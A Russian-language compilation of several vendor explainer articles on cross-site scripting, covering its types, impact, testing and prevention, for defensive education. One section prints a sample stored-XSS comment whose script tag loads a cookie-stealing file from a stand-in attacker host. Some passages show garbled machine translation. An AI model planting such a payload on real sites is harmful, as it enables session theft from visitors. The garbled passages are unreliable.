Межсайтовый скриптинг: Что такое межсайтовый скриптинг (XSS) и XSS-атаки?

Содержание

Что такое межсайтовый скриптинг (XSS) и XSS-атаки?

Что такое межсайтовый скриптинг?

Атаки XSS нацелены на код (также известный как скрипт) веб-сайта, который выполняется в браузере пользователя, а не на сервере, где располагается данный сайт. Если вы стали жертвой подобной атаки, в ваш браузер был внедрен вредоносный скрипт, угрожающий безопасности вашего ПК. Существует бесконечное множество видов атак межсайтового скриптинга, большинство из которых нацелены на кражу конфиденциальных данных, переадресацию пользователя на подконтрольные хакерам сайты или на манипуляцию компьютера в интересах злоумышленников.

Как происходит атака межсайтового скриптинга?

Веб-сайты хранят данные и постоянно отправляют информацию вашему браузеру: атаки межсайтового скриптинга происходят, когда ненадежные источники отправляют пользователям вредоносное содержимое посредством уязвимостей в веб-сайтах с целью кражи персональных данных или нанесения ущерба вашему компьютеру. Например: когда пользователь ищет что-то онлайн, веб-сайт отправляет браузеру данные в форме поисковой выдачи. При атаках типа XSS передаваемая информация содержит вредоносный код и может помочь злоумышленниках украсть персональные данные пользователя. По причине того, что практически каждый веб-сайт хранит и отправляет данные браузерам, межсайтовый скриптинг на сегодняшний день представляет наиболее распространенную уязвимость программного обеспечения.

Как распознать атаку межсайтового скриптинга?

К сожалению, ваш браузер не способен распознать надежность принимаемого скрипта и автоматически выполняет любой полученный скрипт. Это означает, что вредоносные скрипты имеют возможность получить доступ к любым хранимым в браузере или на веб-сайте данным. Все это делает обнаружение атак типа XSS практически невозможным.

Как устранить уязвимость межсайтового скриптинга?

Обнаружить и устранить уязвимость типа XSS — это задача владельца сайта, так как именно на сайте находится вредоносный код, заражающий ничего не подозревающих посетителей. Убеждать пользователей избегать веб-сайтов с низкой репутацией малоэффективно в данном отношении, так как этим уязвимостям в одинаковой степени подвержены как сайты с низкой, так и высокой репутацией. К счастью, существуют инструменты, которые можно загрузить онлайн, чтобы просканировать любой сайт на наличие уязвимости типа XSS.

Как избежать межсайтового скриптинга
  • Установите качественное антивирусное решение на свой компьютер
  • Настройте автоматическое обновление всех сторонних программ
  • Загрузите инструмент для сканирования веб-сайтов на предмет наличия в коде уязвимостей типа XSS
Защититесь от межсайтового скриптинга

Для того, чтобы обезопасить себя от межсайтового скриптинга, недостаточно просто избегать сайтов с низкой репутацией. Чтобы обеспечить свой ПК надежной защитой от любого типа заражения и нанесения ущерба как самому ПК, так и хранимых на нем данных, весьма рекомендуется установить современный титулованный антивирус, например, антивирус Avast.

Что такое атака с использованием межсайтового скриптинга? Определение и примеры

Что такое межсайтовый скриптинг?

w3.org/1999/xhtml»>Атаки с использованием межсайтового скриптинга представляют собой внедрение вредоносного кода на доверенные веб-сайты. В процессе атаки происходит внедрение вредоносных скриптов в контент веб-сайта. Затем эти скрипты включаются в динамический контент, отображаемый в браузере жертвы. Браузер жертвы не знает, что вредоносные скрипты не являются доверенными, и выполняет их.

В результате вредоносные скрипты могут получить доступ к файлам cookie, идентификаторам сеансов, и прочей конфиденциальной информации, сохраненной браузером и используемой на этом сайте. Злоумышленники также могут использовать межсайтовый скриптинг для распространения вредоносных программ, перезаписи содержимого веб-сайтов, создания проблем в социальных сетях и фишинга с целью получения учетных данных пользователей. Межсайтовый скриптинг отличается от других веб-атак тем, что не нацелен непосредственно на само приложение – риску подвергаются пользователи веб-приложения.

Как работает межсайтовый скриптинг?

При атаке с использованием межсайтового скриптинга уязвимый сайт нужен лишь для выполнения на устройствах пользователей вредоносных скриптов. Часто в этих целях применяют JavaScript, но может использоваться любой клиентский язык. Киберпреступники нацеливаются на веб-сайты с уязвимыми функциями, предназначенными для ввода данных пользователями: панелями поиска, полями для ввода комментариев, формами входа. Они внедряют вредоносный код на легальные веб-сайты, по сути, заставляя браузеры обманным путем запускать вредоносные программы при каждой загрузке сайта.

JavaScript запускается на странице браузера жертвы, в результате чего конфиденциальные данные о пользователе, выполнившем вход в систему, могут быть украдены из сеанса. Это используется злоумышленниками для атак на администраторов сайтов и взлома самих сайтов.

w3.org/1999/xhtml»>В зависимости от способа внедрения кода, вредоносный контент может присутствовать даже не на самой веб-странице, а являться временным элементом, кажущимся частью веб-сайта на период атаки. Это может создать иллюзию компрометации реального веб-сайта, хотя это не так.

Существуют различные способы инициировать атаку с использованием межсайтового скриптинга. Например, выполнение скрипта может запускаться автоматически при загрузке страницы или при наведении курсора на определенные элементы страницы, такие как гиперссылки. В некоторых случаях атака с использованием межсайтового скриптинга осуществляется напрямую, например, из сообщения электронной почты. Некоторые атаки с использованием межсайтового скриптинга не имеют конкретной цели; злоумышленники просто используют уязвимости в приложении или на сайте, и любой может стать их жертвой.

В зависимости от масштаба атаки могут быть скомпрометированы учетные записи пользователей, активированы троянские программы, а также изменено содержимое страницы, что заставит пользователей раскрыть личные данные. Могут быть раскрыты файлы cookie сеансов, что позволяет злоумышленникам выдавать себя за реальных пользователей и использовать их личные учетные записи.

Успешная атака с использованием межсайтового скриптинга может иметь катастрофические последствия для репутации онлайн-компаний и их взаимоотношений с клиентами. К сожалению, уязвимости, допускающие успешное осуществление атак с использованием межсайтового скриптинга, являются довольно распространенными. При таких атаках могут использоваться уязвимости в различных средах программирования, включая VBScript, Flash, ActiveX и JavaScript. В первую очередь эти атаки ориентированы на JavaScript из-за его тесной интеграции с большинством браузеров. Способность работать на наиболее популярных платформах делает атаки с использованием межсайтового скриптинга опасными и широко распространенными.

Воздействие межсайтового скриптинга

Злоумышленники могут использовать уязвимости для совершения следующих вредоносных действий:

    w3.org/1999/xhtml»>
  • Перенаправление пользователей на вредоносные сайты.
  • Запись нажатий клавиш пользователями.
  • Доступ к истории просмотра и содержимому буфера обмена.
  • Запуск эксплойтов веб-браузера (например, вызывающих сбой браузера).
  • Получение файлов cookie пользователя, вошедшего на сайт.
  • Кража токена сеанса входа в систему, что позволяет злоумышленнику работать с приложением от имени пользователя, не зная его пароля.
  • Принуждение пользователя к отправке контролируемых злоумышленником запросов на сервер.
  • Изменение содержимого страницы.
  • Вынуждение пользователя обманным путем сообщить пароль от приложения.
  • Заражение компьютера пользователя другим вредоносным кодом с использованием уязвимостей веб-браузера, возможно, захват компьютера пользователя.

В некоторых случаях атаки с использованием межсайтового скриптинга могут привести к полной компрометации учетной записи пользователя. Злоумышленники могут обманным путем заставить пользователей ввести учетные данные в поддельной форме, из которой затем получают всю информацию. Учетные данные пользователей могут использоваться для кражи личных данных и финансового мошенничества.

Виды атак с использованием межсайтового скриптинга

Атаки с использованием межсайтового скриптинга можно разделить на три основные категории: хранимые, отраженные и на основе DOM.

Хранимые (постоянные)

Хранимые (постоянные) межсайтовые скрипты считаются наиболее опасными. Атаки с их использованием возникают при сохранении введенных пользователем данных с последующим их отображением на веб-странице. Типичные точки входа хранимых межсайтовых скриптов – это форумы, комментарии в блогах, профили пользователей и поля для ввода имени пользователя. Злоумышленники обычно используют эту уязвимость, внедряя межсайтовые скрипты на популярные страницы сайта или передавая пользователю ссылку для перехода на страницу, содержащую сохраненный скрипт.

Пользователь заходит на страницу, и скрипт выполняется его браузером на стороне клиента.

Отраженные (непостоянные)

Отраженный (непостоянный) – это наиболее распространенный тип межсайтового скриптинга. В этом случае скрипт должен являться частью запроса, отправленного на веб-сервер. Затем запрос возвращается (отражается) обратно таким образом, что ответ HTTP включает данные из запроса HTTP. Злоумышленники используют вредоносные ссылки, фишинговые электронные письма и другие методы социальной инженерии, чтобы обманным путем заставить пользователя отправить запрос на сервер. Отраженные данные затем используются при выполнении скрипта в браузере пользователя.

Отраженный межсайтовый скриптинг не является постоянной атакой, поэтому злоумышленник должен доставить вредоносный скрипт каждому пользователю. Такие атаки часто совершаются через социальные сети.

Межсайтовый скриптинг на основе DOM

Межсайтовый скриптинг на основе DOM использует уязвимость DOM-модели (Document Object Model – объектной модели документа), а не HTML. В отраженных и хранимых атаках с использованием межсайтового скриптинга данные, полученные в результате эксплуатации уязвимости, отображаются на странице ответа. Однако при межсайтовом скриптинге на основе DOM исходный HTML-код атаки и ответ будут совпадать, то есть данные не могут быть получены в ответе на запрос, их можно получить только в среде выполнения или при исследовании DOM-модели страниц.

Атаки с использованием межсайтового скриптинга на основе DOM часто выполняются на стороне клиента, а вредоносная нагрузка не отправляется на сервер. Это еще больше затрудняет обнаружение таких атак как с помощью сетевых экранов веб-приложений, так и для инженеров по безопасности, выполняющих анализ журналов серверов, поскольку они не видят самой атаки.

Чаще всего используют следующие объекты DOM: веб-адрес (document.URL), якорная часть веб-адреса (location.hash) и адрес страницы, с которой был совершен переход (document.referrer).

Примеры атак с использованием межсайтового скриптинга

При просмотре веб-сайта, посвященного электронной коммерции, злоумышленник обнаруживает уязвимость, позволяющую встраивать HTML-теги в раздел комментариев сайта. Встроенные теги становятся постоянной функцией страницы: браузер включает их вместе с остальной частью исходного кода при каждом открытии страницы.

Злоумышленник добавляет следующий комментарий: Очень полезный объект. Полный обзор можно прочитать здесь: <script src=”http://attackersite.com/authstealer.js”> </script>.

Теперь при каждом доступе к странице помещенный в комментарий HTML-тег активирует файл JavaScript, размещенный на другом сайте, и позволяет украсть файлы cookie сеансов посетителей страницы.

Файлы cookie сеансов позволяют злоумышленникам взламывать учетные записи посетителей и получать доступ к их личной информации и финансовым данным. Между тем, посетители страницы, возможно, даже не прокрутили до раздела комментариев, и не подозревают о том, что произошла атака.

В отличие от отраженной атаки, в которой скрипт активируется при переходе по ссылке, для сохраненной атаки достаточно, чтобы пользователь только посетил скомпрометированную веб-страницу. Это увеличивает масштаб атаки, подвергая опасности всех посетителей страницы, независимо от того, насколько они осторожны.

С точки зрения злоумышленника, постоянные атаки с использованием межсайтового скриптинга сложнее в плане реализации из-за трудностей с обнаружением как веб-сайта, на который идет трафик, так и веб-сайта с уязвимостями, позволяющими встраивать постоянные скрипты.

w3.org/1999/xhtml»>Предотвращение атак с использованием межсайтового скриптинга

Чтобы свести к минимуму уязвимости, используемые в атаках межсайтового скриптинга, разработчики и владельцы веб-сайтов должны:

  • Убедиться, что все страницы сайта, принимающие вводимые пользователями данные, отфильтровывают вводимые коды, такие как HTML и JavaScript.
  • Проверять веб-приложения на наличие уязвимостей и исправлять их соответствующим образом.
  • Обновлять свой веб-сайт и серверное программное обеспечение, чтобы предотвратить дальнейшее использование уязвимостей в атаках межсайтового скриптинга.

 

Чтобы не стать жертвой атаки с использованием межсайтового скриптинга, пользователи должны:

  • Отключить выполнение скриптов на страницах, где в них нет необходимости, или полностью отключить выполнение скриптов.
  • Не переходить по ссылкам в подозрительных сообщениях электронной почты и постах, поскольку это может привести к взлому страниц.
  • Переходить на веб-сайты напрямую, вводя веб-адрес в адресную строку браузера, а не из сторонних источников или по ссылкам.
  • Обновлять программное обеспечение, чтобы не пропустить последние исправления и патчи безопасности. Регулярное обновление программного обеспечения значительно снизит количество уязвимостей, в частности, для атак с использованием межсайтового скриптинга, на сайте или в приложении.
  • Проверять и выявлять, какие приложения являются необходимыми, а какие используются редко. Удаление неиспользуемых приложений снижает количество потенциальных уязвимостей.
  • Использовать высококачественное антивирусное программное решение, такое как Kaspersky Total Security, для защиты устройств и данных. Это решение блокирует обычные и сложные угрозы: вирусы, программы-вымогатели, шпионские приложения и хакерские атаки.

w3.org/1999/xhtml»>Статьи по теме:

  • Что такое атака нулевого дня?
  • Что такое интернет-безопасность?
  • Что такое руткит?
  • Разновидности вредоносных программ

Что такое межсайтовый скриптинг? Типы XSS, примеры и защита

  • Дом
  • Направляющие
  • Атаки с использованием межсайтового скриптинга (XSS)

Введение

В наши дни гораздо правильнее думать о веб-сайтах как о онлайн-приложениях, выполняющих ряд функций, а не как о старых статических страницах. Большая часть этой надежной функциональности связана с широким использованием языка программирования JavaScript. Хотя JavaScript позволяет веб-сайтам делать довольно интересные вещи, он также представляет новые и уникальные уязвимости — межсайтовый скриптинг (XSS) является одной из самых серьезных угроз.

Содержание

Что такое межсайтовый скриптинг (XSS)?

Как работают атаки межсайтового скриптинга (XSS)?

Какие существуют типы атак с использованием межсайтовых сценариев (XSS)?

1 Сохраненный (постоянный) межсайтовый скриптинг

2 Отраженный межсайтовый скриптинг

3 Самостоятельный межсайтовый скриптинг

4 Слепой межсайтовый скриптинг

5 Предотвращение межсайтового0 скриптинга на основе DOM 10 90 Атаки с использованием межсайтовых сценариев?

1 Значения разрешения списка

2 Избегайте и ограничивают HTML на входах

3 Значения дезинтезирования

4 Используйте флаги Httponly на печенье

5 Используйте WAF для защиты от XSS

после HACK ACTION

1 LOCAUT 2 Удаление вредоносного контента и бэкдоров

3 Исправление уязвимости

4 Обновите свои учетные данные

5 Настройте WAF

Что такое межсайтовый скриптинг (XSS)?

Межсайтовый скриптинг, обычно называемый XSS, возникает, когда хакеры запускают вредоносный код JavaScript в браузере жертвы.

В отличие от атак удаленного выполнения кода (RCE), код запускается в браузере пользователя. После первоначальной инъекции сайт обычно не полностью контролируется злоумышленником. Вместо этого злоумышленник прикрепляет свой вредоносный код к законному веб-сайту, фактически обманывая браузеры, заставляя их запускать свое вредоносное ПО всякий раз, когда сайт загружается.

Использование JavaScript в межсайтовых сценариях

JavaScript — это язык программирования, который запускается на веб-страницах в вашем браузере. Этот клиентский код добавляет веб-странице функциональность и интерактивность и широко используется во всех основных приложениях и платформах CMS.

В отличие от серверных языков, таких как PHP, код JavaScript внутри вашего браузера не может повлиять на веб-сайт для других посетителей. Он привязан к вашему собственному навигатору и может выполнять действия только в окне вашего браузера.

Хотя JavaScript является клиентской стороной и не запускается на сервере, его можно использовать для взаимодействия с сервером путем выполнения фоновых запросов. Злоумышленники могут использовать эти фоновые запросы для добавления нежелательного спам-контента на веб-страницу без ее обновления, сбора аналитики о браузере клиента или выполнения действий асинхронно.

Как работают атаки с использованием межсайтовых сценариев?

Когда злоумышленники внедряют свой собственный код на веб-страницу, что обычно достигается путем использования уязвимости в программном обеспечении веб-сайта, они могут затем внедрить свой собственный скрипт, который выполняется браузером жертвы.

Поскольку JavaScript запускается на странице браузера жертвы, конфиденциальные данные об аутентифицированном пользователе могут быть украдены из сеанса, что, по сути, позволяет злоумышленнику атаковать администраторов сайта и полностью скомпрометировать веб-сайт.

Другое популярное использование атак с использованием межсайтовых сценариев — когда уязвимость доступна на большинстве общедоступных страниц веб-сайта. В этом случае злоумышленники могут внедрить свой код для целевых посетителей веб-сайта, добавив собственную рекламу, фишинговые подсказки или другой вредоносный контент.

Какие существуют типы атак с использованием межсайтовых сценариев?

Теперь, когда мы рассмотрели основы, давайте углубимся. В зависимости от своих целей злоумышленники могут использовать межсайтовые сценарии различными способами. Давайте рассмотрим некоторые из наиболее распространенных типов атак.

Атаки с использованием хранимых межсайтовых сценариев происходят, когда злоумышленники сохраняют свою полезную нагрузку на скомпрометированном сервере, в результате чего веб-сайт доставляет вредоносный код другим посетителям.

Поскольку этот метод требует от злоумышленника только начальных действий и впоследствии может скомпрометировать многих посетителей, это наиболее опасный и наиболее часто используемый тип межсайтового скриптинга.

Отраженный (непостоянный) межсайтовый скриптинг

Атаки с использованием отраженных межсайтовых сценариев происходят, когда полезная нагрузка сохраняется в данных, отправляемых из браузера на сервер. Эти атаки популярны в фишинге и попытках социальной инженерии, потому что уязвимые веб-сайты предоставляют злоумышленникам бесконечный набор веб-сайтов, выглядящих как законные, которые они могут использовать для атак.

Типичным примером отраженного межсайтового скриптинга является форма поиска, где посетители отправляют свой поисковый запрос на сервер, и только они видят результат.

Злоумышленники обычно отправляют жертвам настраиваемые ссылки, которые направляют ничего не подозревающих пользователей на уязвимую страницу. На этой странице они часто используют различные методы для подтверждения концепции.

 

Самостоятельный межсайтовый скриптинг возникает, когда злоумышленники используют уязвимость, которая требует очень специфического контекста и ручных изменений. Единственный, кто может быть жертвой, — это вы сами.

Эти конкретные изменения могут включать в себя такие вещи, как значения файлов cookie или установку вашей собственной информации в полезную нагрузку.

Примечание: Примером самостоятельного межсайтового скриптинга является запуск непроверенного кода на платформах социальных сетей или онлайн-играх, где за запуск кода предлагается некоторое вознаграждение или информация.

Слепые атаки с использованием межсайтовых сценариев происходят, когда злоумышленник не может видеть результат атаки. В этих атаках уязвимость обычно находится на странице, доступ к которой имеют только авторизованные пользователи.

Этот метод требует большей подготовки для успешного проведения атаки; в случае сбоя полезной нагрузки злоумышленник не будет уведомлен.

Чтобы повысить вероятность успеха этих атак, хакеры часто используют полиглоты, которые предназначены для работы во многих различных сценариях, например, в атрибуте, в виде обычного текста или в теге скрипта.

Атаки с использованием межсайтовых сценариев на основе DOM происходят, когда не сам сервер уязвим для XSS, а JavaScript на странице.

Поскольку JavaScript используется для добавления интерактивности странице, аргументы в URL-адресе можно использовать для изменения страницы после ее загрузки. Изменяя DOM, когда он не очищает значения, полученные от пользователя, злоумышленники могут добавить вредоносный код на страницу.

Примечание: Примером атаки межсайтового скриптинга на основе DOM может быть, когда веб-сайт меняет выбор языка с языка по умолчанию на язык, указанный в URL-адресе

.

Знаете ли вы?

Брандмауэр Sucuri может помочь виртуально устранить атаки на ваш веб-сайт.

Как предотвратить атаки с использованием межсайтовых сценариев?

Злоумышленники используют различные методы для использования уязвимостей веб-сайтов. В результате не существует единой стратегии снижения риска атаки с использованием межсайтовых сценариев.

Концепция межсайтового скриптинга основана на небезопасном вводе данных пользователем, который напрямую отображается на веб-странице. Если пользовательский ввод должным образом дезинфицировать, атаки с использованием межсайтовых сценариев будут невозможны. Существует несколько способов гарантировать, что пользовательский ввод не может быть скрыт на ваших веб-сайтах.

Чтобы защитить свой веб-сайт, мы рекомендуем вам усилить защиту ваших веб-приложений с помощью следующих защитных мер.

Ограничить пользовательский ввод определенным списком разрешений. Эта практика гарантирует, что на сервер отправляются только известные и безопасные значения. Ограничение пользовательского ввода работает только в том случае, если вы знаете, какие данные вы получите, например содержимое раскрывающегося меню, и непрактично для пользовательского содержимого.

Хотя HTML может потребоваться для расширенного содержимого, его следует ограничить доверенными пользователями. Если вы разрешаете стилизацию и форматирование входных данных, вам следует рассмотреть возможность использования альтернативных способов создания контента, таких как Markdown.

Наконец, если вы используете HTML, обязательно очистите его с помощью надежного дезинфицирующего средства, такого как DOMPurify , чтобы удалить весь небезопасный код.

Когда вы используете пользовательский контент на странице, убедитесь, что это не приведет к HTML-контенту, заменив небезопасные символы соответствующими объектами. Сущности выглядят так же, как обычные символы, но их нельзя использовать для создания HTML.

Файлы cookie сеанса — это механизм, который позволяет веб-сайту распознавать пользователя между запросами, и злоумышленники часто крадут сеансы администрирования, удаляя файлы cookie. После кражи файла cookie злоумышленники могут войти в свою учетную запись без учетных данных или авторизованного доступа.

Используйте файлы cookie HttpOnly, чтобы запретить JavaScript считывать содержимое файла cookie, что затрудняет кражу сеанса злоумышленником.

Примечание: Этот метод только предотвращает чтение файла cookie злоумышленниками. Злоумышленники по-прежнему могут использовать активный сеанс браузера для отправки запросов, действуя от имени пользователя-администратора. Этот метод также полезен только при использовании файлов cookie в качестве основного механизма идентификации.

Используйте WAF для защиты от атак с использованием межсайтовых сценариев

Вы можете использовать брандмауэр для виртуального устранения атак на ваш веб-сайт. Этот метод перехватывает такие атаки, как XSS, RCE или SQLi, еще до того, как вредоносные запросы достигнут вашего веб-сайта. Он также имеет преимущество защиты от крупномасштабных атак, таких как DDOS.

Нужна помощь в блокировании злоумышленников?

Наш брандмауэр приложений для веб-сайтов (WAF) останавливает злоумышленников, ускоряет время загрузки и повышает доступность вашего веб-сайта.

Действия после взлома

В случае межсайтового скриптинга существует ряд шагов, которые вы можете предпринять, чтобы исправить свой веб-сайт.

Первым шагом в восстановлении после межсайтового скриптинга является определение места расположения уязвимости. Вы можете обратиться к нашему полезному руководству по взлому веб-сайта , чтобы узнать, как это сделать.

После того, как вы получили информацию о местонахождении вредоносного ПО, удалите любой вредоносный контент или неверные данные из своей базы данных и восстановите ее до чистого состояния. Вы также захотите проверить остальную часть вашего веб-сайта и файловых систем на наличие бэкдоров.

Хакеры часто используют уязвимости в базах данных, приложениях и сторонних компонентах. Как только вы определили уязвимое программное обеспечение, примените исправления и обновления к уязвимому коду вместе с любыми другими устаревшими компонентами.

Обновите свои учетные данные

При компрометации важно изменить все ваши пароли и секреты приложений, как только уязвимость будет устранена. Предотвратите повторное заражение, очистив свои данные, чтобы убедиться, что в базе данных нет мошеннических пользователей-администраторов или бэкдоров.

Рассмотрите возможность настройки брандмауэра веб-приложений для фильтрации вредоносных запросов на ваш веб-сайт. Они могут быть особенно полезны для защиты от новых уязвимостей до того, как будут выпущены исправления.

Если вы считаете, что ваш веб-сайт подвергся атаке с использованием межсайтовых сценариев, и вам нужна помощь, наши услуги по удалению и защите от вредоносных программ могут отремонтировать и восстановить ваш взломанный веб-сайт.

Наша специальная группа реагирования на инциденты и брандмауэр веб-сайта могут безопасно удалить вредоносный код из файловых систем и базы данных вашего веб-сайта, полностью восстановив его до исходного состояния.

Готовы установить WAF?

Библиотека ресурсов Sucuri

Расскажите о новых угрозах безопасности веб-сайтов с помощью наших полезных руководств, электронной почты, курсов и материалов блога.

Веб-семинар

Узнайте, как выявить проблемы, если вы подозреваете, что ваш сайт WordPress был взломан.

Электронный курс

Присоединяйтесь к нашей серии электронных писем, поскольку мы предлагаем практические шаги и основные методы обеспечения безопасности для владельцев сайтов WordPress.

Отчет

По нашим данным, тремя наиболее часто заражаемыми платформами CMS были WordPress, Joomla! и Мадженто.

Что такое межсайтовый скриптинг (XSS)? Как это предотвратить и исправить

Безопасность

К

  • Бен Луткевич, Технические характеристики Писатель
  • Линда Розенкранс

Что такое межсайтовый скриптинг (XSS)?

Межсайтовый скриптинг (XSS) — это тип атаки с внедрением, при которой субъект угрозы вставляет данные, например вредоносный скрипт, в содержимое доверенных веб-сайтов. Затем вредоносный код включается в динамический контент, доставляемый в браузер жертвы.

XSS — один из самых распространенных типов кибератак. Вредоносные скрипты часто доставляются в виде фрагментов кода JavaScript, которые выполняет браузер жертвы. Эксплойты могут включать вредоносный исполняемый код на многих других языках, включая Java, Ajax и язык гипертекстовой разметки (HTML). Хотя XSS-атаки могут быть серьезными, предотвратить уязвимости, которые делают их возможными, относительно легко.

XSS позволяет злоумышленнику выполнять вредоносные сценарии в браузере другого пользователя. Однако вместо того, чтобы атаковать жертву напрямую, злоумышленник использует уязвимость на веб-сайте, который посещает жертва, и заставляет веб-сайт доставлять вредоносный скрипт.

Как работает межсайтовый скриптинг?

XSS похож на другие атаки путем внедрения, такие как внедрение языка структурированных запросов. Он использует неспособность браузеров отличить допустимую разметку от вредоносной. Они выполняют любой полученный текст разметки и доставляют его пользователям, которые его запрашивают.

Атаки

XSS обходят политику того же происхождения. SOP — это мера безопасности, которая предотвращает взаимодействие сценариев, созданных на одном веб-сайте, со сценариями с другого веб-сайта. В соответствии с SOP весь контент на веб-странице должен поступать из одного и того же источника. Когда политика не применяется, злоумышленники могут внедрять сценарии и изменять веб-страницу в соответствии со своими целями. Например, злоумышленники могут извлекать данные, которые позволяют им выдавать себя за пользователя, прошедшего проверку подлинности, или вводить вредоносный код для выполнения браузером.

С помощью эксплойта XSS злоумышленник может украсть файлы cookie сеанса, а затем выдать себя за пользователя (жертву). Но дело не только в краже файлов cookie; Злоумышленники могут использовать XSS для распространения вредоносных программ, порчи веб-сайтов, создания хаоса в социальных сетях, фишинга для получения учетных данных и, в сочетании с методами социальной инженерии, для совершения более разрушительных атак.

Уязвимости межсайтовых сценариев в корпоративных приложениях могут привести к утечке данных клиентов, что может нанести ущерб репутации организации.

Какие существуют 3 типа XSS-атак?

Существует три основных категории уязвимостей межсайтового скриптинга: хранимый XSS, отраженный XSS и XSS на основе объектной модели документа (DOM).

Сохранено XSS

Сохраненные XSS-атаки также называются постоянными XSS-атаками . Это наиболее опасный тип атаки с использованием межсайтовых сценариев. Злоумышленник внедряет вредоносный скрипт, также называемый полезной нагрузкой . Полезная нагрузка постоянно хранится в целевом приложении, таком как база данных, блог, доска объявлений, в сообщениях на форуме или в поле комментариев.

Полезная нагрузка XSS затем передается как часть веб-страницы, когда жертвы переходят на затронутую веб-страницу в браузере. Как только жертвы просматривают страницу в браузере, они непреднамеренно запускают вредоносный скрипт.

Отраженный XSS

Reflected XSS — наиболее распространенный тип уязвимости межсайтового скриптинга. В этом типе атаки злоумышленник должен доставить полезную нагрузку жертве. Злоумышленник использует фишинг и другие методы социальной инженерии, чтобы побудить жертв непреднамеренно сделать запрос к веб-серверу, который включает скрипт полезной нагрузки XSS.

Отраженный ответ протокола передачи гипертекста включает полезную нагрузку из HTTP-запроса. Затем жертва выполняет сценарий, который отражается и выполняется внутри браузера. Поскольку отраженный XSS не является постоянной атакой, злоумышленник должен доставить полезную нагрузку каждой жертве.

XSS на основе DOM

Атаки на основе DOM — это продвинутые атаки, которые становятся возможными, когда клиентский сценарий веб-приложения записывает предоставленные пользователем данные в DOM. Веб-приложение считывает данные из DOM и доставляет их в браузер. Если данные обрабатываются неправильно, злоумышленник может внедрить полезную нагрузку, которая будет храниться как часть модели DOM. Затем полезная нагрузка выполняется, когда данные считываются из DOM.

Как вы тестируете XSS-уязвимости?

Веб-сайт уязвим для XSS, когда он передает непроверенные входные данные из запросов обратно клиенту.

Инструменты веб-сканирования можно использовать для проверки уязвимости веб-сайта или приложения. Эти инструменты внедряют скрипт в веб-приложение — например, переменные GET или POST, URL-адреса, файлы cookie и другой код, который может удерживать кросс-скриптовую атаку.

Если инструмент может вводить такую ​​информацию на веб-страницу, то сайт уязвим для XSS. Инструмент уведомляет пользователя об уязвимости и скрипте, который был внедрен для ее поиска.

Также можно вручную протестировать XSS-уязвимости, выполнив следующие действия:

  1. Найти входные векторы. Это включает в себя определение всех пользовательских входных данных приложения. Для этого можно использовать редакторы HTML в браузере или веб-прокси.
  2. Анализ входных векторов. Определенные входные данные инициируют ответы браузера, показывающие уязвимость. Проект Open Web Application Security Project (OWASP) предоставляет список тестовых входных данных.
  3. Проверьте влияние тестового ввода. Тестировщик должен проанализировать результаты выбранных им входных данных и определить, повлияют ли обнаруженные уязвимости на безопасность приложения. Тестер должен идентифицировать специальные символы HTML, создающие уязвимости, которые необходимо заменить или иным образом отфильтровать или удалить.
Уязвимости внедрения, такие как межсайтовый скриптинг, являются одним из 10 главных рисков безопасности API Open Web Application Security Project.

Как предотвратить межсайтовый скриптинг?

Ниже приведены рекомендации по устранению недостатков безопасности приложений, которые позволяют выполнять межсайтовые сценарии:

  • Экранирование пользовательского ввода — один из способов предотвращения уязвимостей XSS в приложениях. Экранирование означает получение данных, полученных приложением, и обеспечение их безопасности перед их отображением для пользователя. Это предотвращает интерпретацию ключевых символов в данных, которые получает веб-страница, как исполняемый код. Он не позволяет браузеру интерпретировать символы, сигнализирующие о начале или конце исполняемого кода, и переводит их в 9 символов.0121 сбежал . Например, кавычки, круглые скобки, квадратные скобки и некоторые другие знаки препинания иногда используются для выделения исполняемого кода. Экранирование этих символов означает преобразование их из отдельных символов, которые не отображаются, в строки, которые браузер интерпретирует как печатные версии символов.
  • Очистка пользовательского ввода очищает данные от потенциально исполняемых символов. Он преобразует неприемлемый пользовательский ввод в приемлемый формат и гарантирует, что полученные данные не могут быть интерпретированы как исполняемый код. Этот подход особенно полезен на веб-страницах, допускающих HTML-разметку.
  • Проверка ввода гарантирует, что приложение отображает правильные данные и что вредоносные данные не наносят вреда веб-сайту, базе данных и пользователям. Проверка ввода предотвращает использование XSS в формах. Он запрещает пользователям добавлять специальные символы в поля ввода данных веб-страницы, отклоняя запрос. Проверка ввода помогает снизить вероятность причинения вреда, если злоумышленник обнаружит такую ​​уязвимость XSS.

Самый надежный способ предотвратить XSS-атаки — не доверять пользовательскому вводу. Весь пользовательский ввод, отображаемый как часть вывода HTML, должен рассматриваться как ненадежный, вне зависимости от того, исходит он от аутентифицированного пользователя или нет.

Каково влияние XSS?

Степень воздействия XSS-эксплойта на веб-сайт зависит от атакуемого приложения или сайта, а также от вовлеченных данных и скомпрометированного пользователя. В целом верно следующее о потенциальном воздействии XSS-атаки:

.
  • Если речь идет о конфиденциальных данных, таких как банковские транзакции и медицинские записи, последствия могут быть серьезными.
  • Чем выше привилегии скомпрометированного пользователя в приложении, тем более критичным может быть влияние атаки.
  • Если пользователи вводят конфиденциальную личную информацию, последствия могут быть серьезными.

Межсайтовые сценарии также могут влиять на всю организацию. Например, если веб-сайт электронной коммерции окажется источником атаки XSS, это может нанести ущерб репутации компании и доверию клиентов.

Каковы примеры межсайтового скриптинга?

Одним из примеров хранимой атаки XSS является внедрение вредоносного кода в поле комментариев на сайте электронной коммерции. Злоумышленник встраивает код в комментарий, написав «Прочитайте мой обзор этого элемента!» вместе с кодом со встроенным вредоносным URL. Код может говорить что-то вроде:

  

Это приведет к тому, что сервер веб-сайта сохранит вредоносный скрипт в качестве комментария. Когда пользователь посещает страницу с комментариями к ней, браузер интерпретирует код как JavaScript, а не HTML, и выполняет код.

Комментарий, содержащий вредоносный контент между тегами script, будет загружаться каждый раз при загрузке страницы. Загрузка страницы активирует вредоносный файл JavaScript, размещенный на другом веб-сайте, который может украсть файлы cookie сеанса пользователя. Файлы cookie, вероятно, хранят важную информацию о поведении пользователя на сайте электронной коммерции, например данные для входа. С помощью этой информации хакер может получить доступ к более конфиденциальным данным учетной записи, таким как платежная или контактная информация.

Пользователю не нужно щелкать какую-либо ссылку на странице или даже видеть злонамеренный комментарий, чтобы украсть данные; пользователю просто нужно посетить страницу. Это отличается от отраженной атаки XSS, которая требует, чтобы пользователь щелкнул ссылку.

Узнайте больше о атаках путем внедрения и других уязвимостях веб-приложений и о том, как их избежать.

Последнее обновление: ноябрь 2021 г.

Продолжить чтение О межсайтовом скриптинге (XSS)
  • Инструменты управления уязвимостями на основе рисков в облаке
  • Может ли веб-приложение быть по-настоящему безопасным?
  • Контроль приложений с помощью этих 3 инструментов тестирования безопасности приложений
  • Повышение безопасности веб-приложений и мобильных приложений
